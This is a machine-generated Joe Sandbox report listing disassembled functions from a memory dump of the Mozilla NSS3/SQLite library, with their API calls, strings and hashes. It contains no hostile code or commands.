Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction ID: 89944c69c8aefe177fffbefc414b6fa59275af1cfc0b8371de553dceaee0f154
Opcode Fuzzy Hash: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction Fuzzy Hash: 69210A72A00100A7DF111B25DC49EDB3B75EB4335EF140430ED1896751F732D569E6AA

Function 6C60FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60FD18
sqlite3_initialize.NSS3 ref: 6C60FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD99
sqlite3_free.NSS3(00000000), ref: 6C60FE3C
sqlite3_free.NSS3(?), ref: 6C60FEE3
sqlite3_free.NSS3(?), ref: 6C60FEEE

Strings

simple, xrefs: 6C60FC79

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction ID: a0eb2b849312b69667060bcbc53ced64dd3bae5e5d0075c7d283f902c6e4c167
Opcode Fuzzy Hash: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction Fuzzy Hash: 279151B0B012059FDB08CF55CA84AAAB7F1FF85318F248568D819AB752E731E842CB59

Function 6C615CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C615EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C615EED

Strings

API call with %s database connection pointer, xrefs: 6C615EC3
%s at line %d of [%.10s], xrefs: 6C615EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C615E64
invalid, xrefs: 6C615EBE
misuse, xrefs: 6C615EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C615ED1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction ID: af798abacb70c706a9d4110527c716fb776e8c1a76ade42817da7f5b2c307402
Opcode Fuzzy Hash: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction Fuzzy Hash: B3819170F196119BEB198E2DC858BAAF3B1BF4130AF284269D8155BF51D730E842CB9D

Function 6C5FDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5FDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDF78

Strings

%s at line %d of [%.10s], xrefs: 6C5FDE61, 6C5FDE90
database corruption, xrefs: 6C5FDE5C, 6C5FDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FDE52, 6C5FDE81

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction ID: bf926ecedc4817768a17997e30bf38461ae7daedb74ad9fc9be13a0528364cef
Opcode Fuzzy Hash: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction Fuzzy Hash: 7081C2716043049FD718DF25CC84B6A77F1AF85308F15882DE9AA8BB51EB31E946CB62

Function 6C5ACEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5ACFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5AD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5AB999), ref: 6C5AD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5AB999), ref: 6C6F972B

Strings

%s at line %d of [%.10s], xrefs: 6C5ACFEC, 6C5AD018, 6C5AD029, 6C5AD03F, 6C6F978B
database corruption, xrefs: 6C5ACFE7, 6C5AD013, 6C5AD028, 6C5AD039, 6C5AD03E, 6C6F9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ACFDD, 6C5AD00E, 6C5AD022, 6C5AD033, 6C6F9780

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction ID: aa24017ff77aa5339b892c55a001e276984825be19626a744335374bb0f491b2
Opcode Fuzzy Hash: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction Fuzzy Hash: ED613871A043108BD310CF6ACC40BAAB7F6EF95318F68456DE4489BB42E376E947C7A1

Function 6C6AFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6B0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6B015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6B01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6B0202
free.MOZGLUE(?), ref: 6C6B0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B0253

Strings

exporter, xrefs: 6C6B00F7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: f22d91ded89cb444376b5ff279a5d983911186427e51ed180f8ae755e7e00129
Instruction ID: 068fba08e756e2bfa68bdeb83f889b76387ed3e41d3b908089505124a8fbad7e
Opcode Fuzzy Hash: f22d91ded89cb444376b5ff279a5d983911186427e51ed180f8ae755e7e00129
Instruction Fuzzy Hash: 1E6157B0900789ABEF158FA4CD00BEE7BB6FF4930CF104128ED1E66661EB319964C759

Function 6C684DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C68536F,00000022,?,?,00000000,?), ref: 6C684E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C684F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C684F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C684FAE
free.MOZGLUE(?), ref: 6C684FC8

Strings

%s=%s, xrefs: 6C684F89
oShl", xrefs: 6C684DFB, 6C684EF4, 6C684EC5
%s=%c%s%c, xrefs: 6C684FA9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oShl"
API String ID: 2709355791-1727155148
Opcode ID: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction ID: da13444c239467528910e736d3f8a389fcaa03b712730999f347325553075e87
Opcode Fuzzy Hash: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction Fuzzy Hash: C2515C31A071498BEF11CA69C4B47FF7BFD9F46348F188129E894B7A40D375880687B9

Function 6C6AEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEF6D

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

htonl.WSOCK32(00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFE4
htonl.WSOCK32(?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFF1
memcpy.VCRUNTIME140(?,?,6C6CA4A1,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF027

Strings

dtls13, xrefs: 6C6AEF33

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction ID: f651f945041d3de3dd2d995ada1748b13bf3cc3cb7185132931121498db4da21
Opcode Fuzzy Hash: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction Fuzzy Hash: 85311671A01215AFC710DF68CC44B8AB7E4EF49348F158029E8189B751E731FD26CBE9

Function 6C62AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C62AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C749500,6C623F91), ref: 6C62AFD2

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

DER_GetInteger_Util.NSS3(?), ref: 6C62B007

Part of subcall function 6C676A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C621666,?,6C62B00C,?), ref: 6C676AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C62B02F
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C62B046
PL_FreeArenaPool.NSS3 ref: 6C62B058
PL_FinishArenaPool.NSS3 ref: 6C62B060

Strings

security, xrefs: 6C62AFB8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction ID: 46b92534f04f3d72616630528fb8a4e14620842a556651734e6a2538204a8e1b
Opcode Fuzzy Hash: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction Fuzzy Hash: 1B3106704053009BDB118F249C44BAAB7A4EFC636CF104619E9765BBD1E73A9149CB9F

Function 6C623E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
PL_FreeArenaPool.NSS3 ref: 6C623F14
PL_FinishArenaPool.NSS3 ref: 6C623F1C

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Strings

security, xrefs: 6C623EBC

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9267e2b12d1a7440815bd2ae8a57622c87c0846848fca0abb4e3ecc671e14d58
Instruction ID: de1496cc10e7c07da26dab567faefcfe7bc66814224ecf776f4352b963113960
Opcode Fuzzy Hash: 9267e2b12d1a7440815bd2ae8a57622c87c0846848fca0abb4e3ecc671e14d58
Instruction Fuzzy Hash: 2D21F8B1904304ABD7148B15AC41FAB77A8BF8971CF04093DF959A7B41F734D6188BAE

Function 6C65ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C65ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AD23

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AD39

Strings

nsl, xrefs: 6C65AD51, 6C65AD7B
C_MessageDecryptFinal, xrefs: 6C65ACE1
hSession = 0x%x, xrefs: 6C65ACFE, 6C65AD0E
(CK_INVALID_HANDLE), xrefs: 6C65AD1C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nsl
API String ID: 332880674-1858972042
Opcode ID: 2e7727ad7ff38658f11495b35a41851e1d512e0007eb2186721faa51f7c53ac7
Instruction ID: 75db8c395eacafb4bc77d5b1f0809a0d6240601c42de577b3b9a66bc1ecd769f
Opcode Fuzzy Hash: 2e7727ad7ff38658f11495b35a41851e1d512e0007eb2186721faa51f7c53ac7
Instruction Fuzzy Hash: EA2137316021149FDB00AB64DD8CBBA37F5AB4730EFB44035E90997B03DB309918C7AA

Function 6C66CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C66CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C66CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C66D079

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction ID: bd71bc3be2d9716f521d93119fed798d4112e633a1dd4d7e0dcdc4704d2f6446
Opcode Fuzzy Hash: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction Fuzzy Hash: 22C191B1A002199BDB20CF15CC80BDAB7B4BF49308F2441A8D94D97B41E775EE95CF9A

Function 6C65DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6697C1,?,00000000,00000000,?,?,?,00000000,?,6C647F4A,00000000), ref: 6C65DC68

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DFAA

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 1c2392f76c856a6cbb9b47da866d3f6e3c3afb87ff3681672c9d93b696d4975d
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 9E81D2707036058BFB114A18CE903AD72D6DB60748FB0843AD91ACAFE1E775C8E6C61E

Function 6C633C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C633C76
